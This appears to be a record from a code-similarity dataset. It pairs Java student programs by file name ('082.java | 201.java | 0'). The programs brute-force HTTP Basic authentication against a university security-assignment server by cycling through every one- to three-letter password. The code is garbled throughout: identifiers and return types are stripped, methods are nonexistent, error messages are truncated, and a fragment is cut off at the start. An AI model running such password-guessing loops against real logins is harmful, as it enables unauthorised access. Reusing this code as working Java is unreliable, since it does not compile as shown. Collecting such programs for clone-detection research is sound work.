fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
082.java | 201.java | 0 | import java.net.*;
import java.util.*;
import java.io.*;
public class BruteForce {
URL url;
URLConnection uc;
String username, password, encoding;
int pretime, posttime;
String c ;
public BruteForce(){
pretime = new Date().getTime();
try{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
}catch(MalformedURLException e){
e.printStackTrace();
}
username = "";
}
public void checkPassword(char[] pw){
try{
password = new String(pw);
encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes());
uc = url.openConnection();
uc.setRequestProperty("Authorization", " " + encoding);
bf = uc.getHeaderField(null);
System.out.println(password);
if(bf.equals("HTTP/1.1 200 OK")){
posttime = new Date().getTime();
diff = posttime - pretime;
System.out.println(username+":"+password);
System.out.println();
System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds");
System.exit(0);
}
}catch(MalformedURLException e){
e.printStackTrace();
}catch(IOException ioe){
ioe.printStackTrace();
}
}
public static void main (String[] args){
BruteForce bf = new BruteForce();
char i, j, k;
for(i='a'; i<='z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='Z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='a'; j<='z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='a'; i<='z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='z'; j++){
if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){
continue;
}
char[] pw = {i, j};
bf.checkPassword(pw);
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
char[] pw = {i};
bf.checkPassword(pw);
}
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
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